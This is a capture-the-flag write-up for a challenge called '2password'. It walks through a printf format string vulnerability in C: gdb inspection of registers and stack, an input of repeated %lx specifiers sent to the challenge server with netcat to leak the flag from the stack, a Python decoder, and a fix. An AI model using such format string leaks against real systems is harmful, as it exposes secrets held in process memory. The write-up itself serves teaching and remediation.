2Password

Context

The 2password program is an ELF command line executable that prompts the user for a username and two separate passwords. If all three values match what is expected, the string “Access Granted” is printed. In the context of this CTF challenge, the executable is running on a remote server and can be interacted with using a TCP client like netcat.

The C source code is given as part of the challenge, which tells us that the expected username is kaiphait, the first expected password is correct horse battery staple and the second password is the flag. Unfortunately, the flag is read from a text file named flag.txt, which is not given.

Vulnerability

The input checking logic is implemented as follows:

 char flag[42];
 readline(flag, sizeof flag, flag_file);
 if (strcmp(username, "kaiphait") == 0 &&
     strcmp(password1, "correct horse battery staple") == 0 &&
     strcmp(password2, flag) == 0) {
   puts("Access granted");
 } else {
   printf("Incorrect password for user ");
   printf(username);
   printf("\n");
 }

Note that the flag is loaded from disk regardless of whether or not the input credentials are valid. We can also note something very interesting: if the credentials are invalid, printf is called with the username as the format specifier string. Since username is user input, this makes this program open to a Format String Vulnerability.

Normally, the first argument passed to the printffunction is the format string, that can optionally contain format specifiers such as %d or %s which in the output are replaced by the values given by the following arguments. If, however, the number of format specifiers in the format string is larger than the number of following arguments, printf will replace them by reading registers and the stack following the program’s calling convention.

As this binary is an x86-64 ELF, the calling convention is System V AMD64:

ArgumentRegisterNotes
1strdiInteger / Pointer
2ndrsiInteger / Pointer
3rdrdxInteger / Pointer
4thrcxInteger / Pointer
5thr8Integer / Pointer
6thr9Integer / Pointer
7th+StackPushed right to left

The format string itself is the first argument, so, if we can include 6 format specifiers in the username, printf should start leaking the stack!

Exploit

Let’s run the given binary in gdb to get a better understanding about how variables are laid out on the stack. I also created a file named flag.txt in the same directory with the following content:

AAAABBBBCCCCDDDD

This pattern should make it easy to recognize the flag in memory. Now, let’s run the executable in gdb and enter the main function.

gdb ./chall
GNU gdb (Ubuntu 12.1-0ubuntu1~22.04.2) 12.1
Copyright (C) 2022 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<https://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
    <http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from ./chall...
(No debugging symbols found in ./chall)
(gdb) break main
Breakpoint 1 at 0x122d
(gdb) run
Starting program: /home/carl-vbn/chall
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Breakpoint 1, 0x000055555555522d in main ()

We want to inspect the program’s state just before printf is run, so we can set a breakpoint.

(gdb) disassemble main
   ...
   0x000055555555539e <+373>:   mov    %rax,%rdi
   0x00005555555553a1 <+376>:   mov    $0x0,%eax
   0x00005555555553a6 <+381>:   call   0x555555555070 <printf@plt>
   0x00005555555553ab <+386>:   mov    $0xa,%edi
   0x00005555555553b0 <+391>:   call   0x555555555030 <putchar@plt>
   0x00005555555553b5 <+396>:   mov    $0x0,%eax
   0x00005555555553ba <+401>:   leave
   0x00005555555553bb <+402>:   ret
End of assembler dump.
(gdb) break *0x00005555555553a6 
Breakpoint 2 at 0x5555555553a6
(gdb) continue
Continuing.
Enter username: %x %x %x %x %x %x %x
Enter password1: 1234
Enter password2: 5678
Incorrect password for user
Breakpoint 2, 0x00005555555553a6 in main ()

Now, let’s print out the registers and the contents of the stack around the stack pointer

(gdb) info reg
rax            0x0                 0
rbx            0x0                 0
rcx            0x7ffff7ea1887      140737352702087
rdx            0x0                 0
rsi            0x7fffffffbb90      140737488337808
rdi            0x7fffffffdd40      140737488346432
rbp            0x7fffffffdd80      0x7fffffffdd80
rsp            0x7fffffffdcb0      0x7fffffffdcb0
r8             0x1c                28
r9             0x555555559890      93824992254096
r10            0x55555555608d      93824992239757
r11            0x246               582
r12            0x7fffffffde98      140737488346776
r13            0x555555555229      93824992236073
r14            0x555555557dd8      93824992247256
r15            0x7ffff7ffd040      140737354125376
rip            0x5555555553a6      0x5555555553a6 <main+381>
eflags         0x202               [ IF ]
cs             0x33                51
ss             0x2b                43
ds             0x0                 0
es             0x0                 0
fs             0x0                 0
gs             0x0                 0
(gdb) x/40x $sp-20
0x7fffffffdc9c: 0x00007fff      0x00000006      0x00000000      0x5555539a
0x7fffffffdcac: 0x00005555      0x41414141      0x42424242      0x43434343
0x7fffffffdcbc: 0x44444444      0x00000000      0x00000000      0x00000006
0x7fffffffdccc: 0x80000000      0x00000000      0x00000000      0x00000000
0x7fffffffdcdc: 0x00000000      0x38373635      0x00000000      0x00000000
0x7fffffffdcec: 0x00000000      0x00000000      0x00000000      0x00000000
0x7fffffffdcfc: 0x00000000      0x0000000d      0x00000000      0x00000001
0x7fffffffdd0c: 0x00000000      0x34333231      0x00000000      0x00000001
0x7fffffffdd1c: 0x00000000      0x55554040      0x00005555      0xf7fe283c
0x7fffffffdd2c: 0x00007fff      0x000006f0      0x00000000      0xffffe0e9

We can clearly see our test flag at address 0x7fffffffdcb0 (0x41414141, 0x42424242, etc). Let’s see what gets printed if we continue. The 7 %x format specifiers we passed into the username should read the 5 argument registers (not including the first specifying the format string itself) followed by two words from the stack in hexadecimal notation.

(gdb) continue
Continuing.
ffffbb90 0 f7ea1887 1c 55559890 41414141 43434343
[Inferior 1 (process 25044) exited normally]

As expected, the values of the rsi, rdx, rcx, r8 and r9 registers are printed followed by two stack words, which conveniently are also the first two words of the flag, or so I thought, until I realized that 0x42424242 was missing. This really confused me at first, until I remembered that this was a 64-bit program, meaning each word is 64 bits long, but %x only prints the lower 32. Using %lx instead led to the expected values being printed, although the byte order in each word gets flipped due to little endianness:

Enter username: %lx %lx %lx %lx %lx %lx %lx
Enter password1:
Enter password2:
Incorrect password for user 7ffcac71a3b0 0 7fb82dee1887 1c 5575f971e890 4242424241414141 4444444443434343

Let’s see if this works on the challenge server as well.

nc chall.lac.tf 31142
Enter username: %lx %lx %lx %lx %lx %lx %lx
Enter password1:
Enter password2:
Incorrect password for user 7ffdbae40f20 0 7f79e5353887 1c 55f2e9610890 75687b667463616c 66635f327265746e

Converting the last two words to strings using ASCII decoding, we get uh{ftcal and fc_2retn respectively. The first one is very promising since, it matches the start of the flag prefix lactf{, but reversed (due to little endianness). I then kept adding %lx format specifiers until I got a null terminator, leading to the following output:

nc chall.lac.tf 31142
Enter username: %lx %lx %lx %lx %lx %lx %lx %lx %lx
Enter password1:
Enter password2:
Incorrect password for user 7ffdcc557620 0 7f33626a7887 1c 5558a11fc890 75687b667463616c 66635f327265746e 7d38367a783063 0

I then wrote a short Python script to convert the numbers into a string using ASCII, correcting for endianness:

words = ['75687b667463616c','66635f327265746e','7d38367a783063']
for w in words:
    for i in range(len(w)-2, -1, -2):
      print(chr(int(w[i:i+2],16)), end='')

Which gave me the full flag: lactf{hunter2_cfc0xz68}

Remediation

The simplest way to prevent this attack is to consolidate the three printf statements into one, so instead of:

printf("Incorrect password for user ");
printf(username);
printf("\n");

We would have:

printf("Incorrect password for user %s\n", username);

Generally, the first argument of printf should never be user input. If we want to print a variable string using printf, it should be done like this:

printf("%s", variable_string); // No format specifier injection possible